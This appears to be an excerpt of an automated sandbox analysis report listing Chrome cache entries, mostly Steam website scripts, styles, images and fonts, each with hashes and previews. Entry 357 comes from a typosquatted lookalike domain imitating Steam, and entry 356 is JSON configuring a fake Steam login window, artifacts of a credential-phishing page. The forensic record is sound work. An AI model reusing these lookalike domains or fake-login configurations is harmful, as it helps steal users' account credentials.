Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64904), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	171820
Entropy (8bit):	5.091615070300934
Encrypted:	false
SSDEEP:	1536:Ns4PKffp9FVf2HBeZTjxI1slCWW9sEbsgsfRc117tUCqU3A8yWiSgzgPMNSrf:Ns4PKfx/VhTjHlCNOEArfKrxRJS+D
MD5:	4D9ECC70DDE56858A3451017CD7FD8D9
SHA1:	88189CFF695C454384884888EA46D9C11060C811
SHA-256:	E10ACC2425B736F904CA0EC762A77B516CE7CEA7391354841199E55750EEE287
SHA-512:	DCCDF161353E3FBD904B63F646EBF616E9EB977D23933575A307336AED6BB044902E11DC5990AA217F7B8CC16E190A968FC9077FE74F335C195C72DE46C6F60C
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6103],{78598:e=>{e.exports=JSON.parse('{"language":"english","Summer2022_hunt_Intro":"Greetings from the Future!","Summer2022_hunt_Intro_1":"I am Clorthax, a time-traveling trickster! I know what you.re thinking: \\"A professional trickster? This sounds like a trick!\\" That is a reasonable concern! But what I am about to tell you is not a trick, and to prove it, I will type it in all caps: THIS IS NOT A TRICK.","Summer2022_hunt_Intro_2":"Okay, it.s a trick. But only on the people of the future! You.re going to love this. Why? Because I have stolen the ten best games from the far future, then traveled across an ocean of time to sell them to you! Exclusively on Steam!","Summer2022_hunt_Intro_3":"Anyway, I can.t outright tell you the names of thes

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12659), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	12824
Entropy (8bit):	5.556602496534854
Encrypted:	false
SSDEEP:	192:+Ol7JG2AOVDFDlDFuDIbqkzdNqYAwuOVVTxHYr7p/vbZzhGyUf/oa4X8LZrBrt:+s9G2A4X3bqouOzxHYfp/vbZzhGIglp
MD5:	B91F2C20108DBCD846F874CB4A4BCB43
SHA1:	3E138968F2169404D0098C92AC4C402E8FABD3F6
SHA-256:	033DCFC29F556D3630EDA2BE01D960D23E798A208EC56BB8E171C3D206624EE7
SHA-512:	31E631538B82EB0438BA5CC67F1BDD14F71C78F661BE8CF8563C724220A93D183903254C511F425C0F4EDBF4AFE956A717F687B439DD4A7ABD7EB89E7DA7713B
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9224605";(()=>{"use strict";var e,t,n={661:(e,t,n)=>{n.d(t,{pR:()=>r,Vz:()=>i,nh:()=>l});var a,r,i,o=n(729);class s{m_ActiveInputId;m_ActiveInputTimeout;m_config;constructor(e){this.m_config=e}Reset(){this.m_ActiveInputId=void 0,null!=this.m_ActiveInputTimeout&&(clearInterval(this.m_ActiveInputTimeout),this.m_ActiveInputTimeout=void 0)}HandleInputButtonDown(e,t){if(this.m_ActiveInputId!==e&&null!=t){this.Reset(),this.m_ActiveInputId=e;const n=()=>{this.m_ActiveInputTimeout=window.setInterval((()=>{t()}),this.m_config.repeatInterval_ms)};null==this.m_config.firstRepeatInterval_ms\|\|this.m_config.firstRepeatInterval_ms===this.m_config.repeatInterval_ms?n():this.m_ActiveInputTimeout=window.setTimeout((()=>{t(),n()}),this.m_config.firstRepeatInterval_ms)}}}!function(e){e[e.None=0]="None",e[e.Horizontal=1]="Horizonta

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3737
Entropy (8bit):	7.906671945599965
Encrypted:	false
SSDEEP:	96:OSDZ/I09Da01l+gmkyTt6Hk8nTqviwYZP2H51:OSDS0tKg9E05Tqviw6451
MD5:	1626F52ADDB7C56FE3679D82108C62E9
SHA1:	2B414092D66ECFF528950093A655F755C3C7F3B5
SHA-256:	AE9F6C61E25D15882BF57BDE193D10D375BD315C9741CABDA11D700FD1BB7DD1
SHA-512:	05548831477CC421556C404F3411F581E98A84FF2E699882CB4F5DCA17D1C5F77B55ED2B8211EEC32D0A4317BE1C4EBC636277F840262491B753415F6F198276
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`.........H!Y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (659), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	824
Entropy (8bit):	5.4873953810406135
Encrypted:	false
SSDEEP:	24:+Tuj0z//T19TOf4rBQibMGPo5cr6cOSGVXpBRCT:+Tuj0//T1JRlbVo52Om
MD5:	B03962A3336EE12137F1A50057F3CBF8
SHA1:	2A7DD13865E71A815773E8E226E4283CDE95FF97
SHA-256:	0424392B16410979DEFF96C0350AE3A03C60D477BD1E758021DCCD3C68F24880
SHA-512:	3A52E02EB598F05A0DEC0748D3FB5FA99D19B62EA9281E886191966A4A9AB6F03650A690102E1F55C80D13CE56B1EEBB2C68EC4E532C24BC7A684349E1D5120B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6966],{67692:e=>{e.exports={LoginContainer:"_2kLRmRsLwjGDlm-ZfUpChG"}},8685:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>c});var n=r(67692),a=r(90626),o=r(97436),l=r(78327),s=r(28240),i=r(23809);function c(e){const{redirectUrl:t=l.TS.STORE_BASE_URL}=e,r=(0,i.rW)(),[c,u]=(0,a.useState)(!1),m=e.guest;return a.createElement("div",{className:n.LoginContainer},c?a.createElement(o.Fn,null):a.createElement(o.YN,{autoFocus:!0,transport:r,platform:2,onComplete:e=>{e==s.wI.k_PrimaryDomainFail?u(!0):window.location.assign(t)},redirectUrl:t},m&&a.createElement(o.Mk,{redirectURL:e.redirectUrl})))}}}]);

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	807
Entropy (8bit):	0.4261982118465057
Encrypted:	false
SSDEEP:	3:CUlFE/xlzeze:zFEGze
MD5:	39BC952559E5A8F4E84BA035FB2F7390
SHA1:	4F415467396B4A50149373CA75BCB4C04C2F60B6
SHA-256:	8F73EF54EFC672061F69CA881FE318DCCC6DD67D993CBB8E76E53E52C84EE493
SHA-512:	C7E107E803941A965A173EC8DC7DDFB052C042AB0070E92E5FF47D0E02ECB38446BDC13BBF201D68B2F5696AFBEEA1AF494A65EED4B086EF368CF147892E4409
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/blank.gif
Preview:	GIF89a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,................;

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19092
Entropy (8bit):	5.511106072147819
Encrypted:	false
SSDEEP:	384:fwtVMAjYb2JalUNlpczHK7DYiHiEiN/mDP+pPIOw6GNNZhweP8/F:fmS6FJJNzczHK7DFHix/mP+pPIOwlNzi
MD5:	7BE183DFBCFB68E7BBB8084AE6286674
SHA1:	CD11E711622EE7705B9258027C4F065FD55F9E00
SHA-256:	14A9F76C1AE6A675422A20FB69BB89FBCB42ED68915FB86CD0A16DCD5D185E57
SHA-512:	023EA3EF7D646843D31F6BB10E6E6F5B1C4EB59E9FD0D11FCAB0D59606BAB2D78ED68CDDAC5722F0023D5E36BD65FD6B77EACBC41713F5F89257223E398C5596
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=e-GD37z7aOe7&l=english
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...display: none;...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....resp

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19780), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19945
Entropy (8bit):	5.342485948501352
Encrypted:	false
SSDEEP:	384:+odYV4zoDTHwyd4U+EslgeEcDwq11C37aeTXsXAt1CzgqKcnrXvFOLc1FMOVnGz:4SYwyuZ1DemVXm1Czzrf0Lc1FMOVnO
MD5:	DC43944D86292C768C3F53D184FB5DC1
SHA1:	ADF4FB82F00BCB6A3C0751836CB01D90AB118F71
SHA-256:	59C4793678AC21E41F611D11CA8B8120DDAD4890AF4830FB924EC59128D8D198
SHA-512:	1DBE05E4070E2A5B48F9BD5DE2092AF39AEB335941D4448297AF366C1A12E7C0EC335DFF8CB4039476CA9ED6D808536E3AB6601F1CD20B4A5C986C6344C2F1CC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/manifest.js?v=3EOUTYYpLHaM&l=english
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9230800";(()=>{"use strict";var e,a,n,s,c,d={},b={};function o(e){var a=b[e];if(void 0!==a)return a.exports;var n=b[e]={id:e,loaded:!1,exports:{}};return d[e].call(n.exports,n,n.exports,o),n.loaded=!0,n.exports}o.m=d,o.amdO={},e=[],o.O=(a,n,s,c)=>{if(!n){var d=1/0;for(i=0;i<e.length;i++){for(var[n,s,c]=e[i],b=!0,r=0;r<n.length;r++)(!1&c\|\|d>=c)&&Object.keys(o.O).every((e=>o.O[e](n[r])))?n.splice(r--,1):(b=!1,c<d&&(d=c));if(b){e.splice(i--,1);var f=s();void 0!==f&&(a=f)}}return a}c=c\|\|0;for(var i=e.length;i>0&&e[i-1][2]>c;i--)e[i]=e[i-1];e[i]=[n,s,c]},o.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return o.d(a,{a}),a},n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(e,s){if(1&s&&(e=this(e)),8&s)return e;if("object"==typeof e&&e){if(4&s&&e.__esModule)return e;if(16&s&&"function"==

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	downloaded
Size (bytes):	58
Entropy (8bit):	4.407754547912838
Encrypted:	false
SSDEEP:	3:CMTkaasJusJE9RoE:/orsJrKfoE
MD5:	C85B970B4C832E361445C1B446CC2343
SHA1:	57E60C2F1F1F919A871B7C171C6D59D42E3ADBE5
SHA-256:	5CE28D7CF05F0E6EEAA3788A393D9980E9B51130963C6B9672D3447B6B11DE6D
SHA-512:	060B2BA825CD60EA3FAD5FCACE496A77B528210AEAB0092A24B4C438EB2ACAC4166E0C3B704CD3A4D8FA8FB034B0C7A4B5F45E242A7BDAD26580F3236382620E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/x9x9.gif
Preview:	GIF89a.............!.......,.............h....I.Q9+\|.S]..;

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3966
Entropy (8bit):	5.142958773271244
Encrypted:	false
SSDEEP:	96:l62ePL5p/6t0hHEcmefouMXQ2AGBm9HWJPon+6i+p:MC2foXg2AGgHWt8
MD5:	76E4C70A57760DE5DB02A53C82B1C74E
SHA1:	5393F2417550ADA806129D85A0335CC3A8C918A7
SHA-256:	1DF1807DE57661ACE09F4F8A4CA7314DF333DA34683FF384BE93270AA6032803
SHA-512:	3BB9DFAF3DA8E6A5D2665156E4CAB88D042230B7C4D6475B3CFBC371B729CBF540FE582EA6D282713088ADBAE9A6A0217EFEC18EBA72BA29BC494E6CA9E0169F
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shipping.js?v=duTHCld2DeXb
Preview:	....function BHasShippingStateDropDown()..{...return $J('#shipping_state_select_droplist') && $J('#shipping_state_select_droplist')[0] && $J('#shipping_state_select_droplist')[0].childNodes.length > 1;..}....function Shipping_UpdateStateSelectState()..{...if ( $J('#shipping_country') )...{....if ( BHasShippingStateDropDown() )....{.....$J('#shipping_state_text').hide();.....$J('#shipping_state_select_dselect_container').show();....}....else....{.....$J('shipping_state_text').show();.....$J('shipping_state_select_dselect_container').hide();....}...}..}....function Shipping_VerifyAddressFields( rgBadFields )..{...var errorString = '';...rgBadFields = {....shipping_first_name : false,....shipping_last_name : false,....shipping_address : false,....shipping_city : false,....shipping_state_text : false,....shipping_phone : false,....shipping_postal_code : false,....shipping_state_select_trigger: false...}.....return errorString;..}....function Shipping_VerifyShippingAddress( sessionID, ajax_

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	4.738483914028743
Encrypted:	false
SSDEEP:	6:YWQmDoHrx73iANXreb6CQEngoM/eSEzXSvjDMqLM8ErBXjWORoR3C6:YWY1iOXrebDgovXSLDiVLoBT
MD5:	EB96352086C3C93A7C5E9BE3947D760C
SHA1:	D90AD6E43C94C32A0B394BCE136168785831917E
SHA-256:	3E485A256A76333BCFEFEA45A601A57A9B4ECEE64F9F94EC2F7A4D9826A13B26
SHA-512:	A66880F70843306B76B62EAEECB83193D4D3CB191A672F82075220E955B02E8A21D1261D04A57918AFA6AE6F86385D0B25F5F5DA97FFBC3D5687D84696167501
Malicious:	false
Reputation:	low
Preview:	{"success":true,"service":"Steam","iframe":true,"timestamp":1728213655752.2522,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{"isDesktop":true,"isInternal":false}}

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23167)
Category:	downloaded
Size (bytes):	23168
Entropy (8bit):	5.276486010034213
Encrypted:	false
SSDEEP:	384:EqRYlMQtMd1q4wpwZmO8tKkzcN0EK7DzvXKtMyrCdwahYX87/yysnaBb9F5Fc:ulMQtMdMYN0v7DrXKtTrCdwahYX87/y7
MD5:	A61A0912F47905F1904CADBB5D6FE668
SHA1:	2B2FA5E7FEB359D04A61842A2A4325C4749056F9
SHA-256:	56C9D30C57ED308DEA0C9B2982D5F2999AB220AAB89F4598CD6F97F951BECDAE
SHA-512:	F50BC73D7F51D4D22DE3180380AB22266ACF854E1AFFF5562BFE3F406FB44B3B07D7CB2DFD80BD1FC5573879EAEA29F6E255996A64FE8C0BE23E21AD78FE9DFF
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/7d1d7c577e0751595d5c574d1a0f6146487e5c726d.css
Preview:	@import"https://fonts.cdnfonts.com/css/motiva-sans?styles=101373,102902,102901,103845";body,html{padding:0;margin:0}body{color:#e9e9e9;background-color:#181a21}body,input,button{font-family:Motiva Sans,sans-serif;font-weight:400}*{box-sizing:border-box}a{color:#afafaf;font-size:12px;text-decoration:none;cursor:pointer}._pageContent_41tvo_1{background:radial-gradient(#181a2100,#181a21) fixed no-repeat,url(https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg) center top no-repeat,#181a21;padding:0 8px;width:100%}._loginContainer_41tvo_7{padding-top:80px;padding-bottom:150px;display:flex;flex-direction:column;align-items:center;box-sizing:content-box}._dialogBlock_41tvo_16{position:relative}@media screen and (max-width: 960px){._responsivePageContent_41tvo_21{position:relative;padding-top:62px;z-index:10;padding-bottom:120px;min-height:calc(100vh - 120px)}}@media screen and (max-width: 700px){._pageContent_41tvo_1{background:radial-gradient(

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169399
Entropy (8bit):	4.976254040069433
Encrypted:	false
SSDEEP:	1536:CZXcWblD1ySId1u6p3JuZolKvI28mGY7NIj4WT0PjXsW0NKWzcEjpPrmcGKJ/jfT:ocWblASIdIv8tXYPjkrmgD8d3dI
MD5:	6A39E0B509FECB928D47B8A2643FED2A
SHA1:	F67FA6CB1D09963D10BA117D6553C8E7D5BC7863
SHA-256:	D8BDEA7FFF893DBDBEAF6C2AFFEC091A77483B9EC10E7958486BC3B6CC170C96
SHA-512:	B9B8C6D9AC4928686C5EA254AC8F765C4F3690F79E5B1CCAAFFC48D4BD47872B9CC5475C038F70D804740C81915FDFCE315EBE553B628D12F7CA1CC4467075D0
Malicious:	false
Reputation:	low
Preview:	../* Prototype JavaScript framework, version 1.7.. * (c) 2005-2010 Sam Stephenson.. .. Prototype is freely distributable under the terms of an MIT-style license... * For details, see the Prototype web site: http://www.prototypejs.org/.. .. --------------------------------------------------------------------------/....var Prototype = {.... Version: '1.7',.... Browser: (function(){.. var ua = navigator.userAgent;.. var isOpera = Object.prototype.toString.call(window.opera) == '[object Opera]';.. return {.. IE: !!window.attachEvent && !isOpera,.. Opera: isOpera,.. WebKit: ua.indexOf('AppleWebKit/') > -1,.. Gecko: ua.indexOf('Gecko') > -1 && ua.indexOf('KHTML') === -1,.. MobileSafari: /Apple.Mobile/.test(ua).. }.. })(),.... BrowserFeatures: {.. XPath: !!document.evaluate,.... SelectorsAPI: !!document.querySelector,.... ElementExtensions: (function() {.. var constructor = window.Element

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64904), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	171820
Entropy (8bit):	5.091615070300934
Encrypted:	false
SSDEEP:	1536:Ns4PKffp9FVf2HBeZTjxI1slCWW9sEbsgsfRc117tUCqU3A8yWiSgzgPMNSrf:Ns4PKfx/VhTjHlCNOEArfKrxRJS+D
MD5:	4D9ECC70DDE56858A3451017CD7FD8D9
SHA1:	88189CFF695C454384884888EA46D9C11060C811
SHA-256:	E10ACC2425B736F904CA0EC762A77B516CE7CEA7391354841199E55750EEE287
SHA-512:	DCCDF161353E3FBD904B63F646EBF616E9EB977D23933575A307336AED6BB044902E11DC5990AA217F7B8CC16E190A968FC9077FE74F335C195C72DE46C6F60C
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6103],{78598:e=>{e.exports=JSON.parse('{"language":"english","Summer2022_hunt_Intro":"Greetings from the Future!","Summer2022_hunt_Intro_1":"I am Clorthax, a time-traveling trickster! I know what you.re thinking: \\"A professional trickster? This sounds like a trick!\\" That is a reasonable concern! But what I am about to tell you is not a trick, and to prove it, I will type it in all caps: THIS IS NOT A TRICK.","Summer2022_hunt_Intro_2":"Okay, it.s a trick. But only on the people of the future! You.re going to love this. Why? Because I have stolen the ten best games from the far future, then traveled across an ocean of time to sell them to you! Exclusively on Steam!","Summer2022_hunt_Intro_3":"Anyway, I can.t outright tell you the names of thes

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight Italic4.015;Plau;M
Category:	downloaded
Size (bytes):	133600
Entropy (8bit):	6.0674472145735345
Encrypted:	false
SSDEEP:	3072:D0000yU00000p4hvCgblYq4AYpbVvQ8U/VMxLseW8Yafj9:D0000GWCClpnYpxvRamfh
MD5:	07247CBD12D4E4160EFD413823D0DEF8
SHA1:	517A80968AA295D0A700A338C22BA41E3A8B78A7
SHA-256:	41464EFD9A32A5967B30ADDC21FE16CD0A35870FDA56658B531A9A2434B4D829
SHA-512:	27E0E7505D41891E70BD06733F96E82E45061D621A1D20BBC524FC89C5406A799CF53D98C0FA256CB4EBFC19750C9A05531A8D273CEBC260D48948EDFFDF6244
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015
Preview:	........... DSIG............GDEF.\|.@...,...:GPOS.r....h...dGSUB.e.........POS/2t.........`cmap.......\|....cvt Ft..... ....fpgm.6!.........gasp............glyf`..........head...1...0...6hhea.......h...$hmtx.[O".......locap.+........maxp.......@... name.H.....`....post.v.....L....prep...........................................w...x.y...z.3.........&.W.............D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J......................................................................................................................................

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.365755828390777
Encrypted:	false
SSDEEP:	24:o/51he91Wwh82lYSg767V+6gT3qxyJbRW6vRW6nGPAQ4PKsSnflj0Sybz4+43Ore:o/qQvnb6706gVJbVvVnX/8NAzb/4OFjg
MD5:	574C350C7B23AE794D5276F8580E0838
SHA1:	235C7B35C3468F8915ECA01F7ABDB43D34079609
SHA-256:	8B97BA0DAC22FE6704C1F6D95FE79613F33017804F256ABB9006DF0442491787
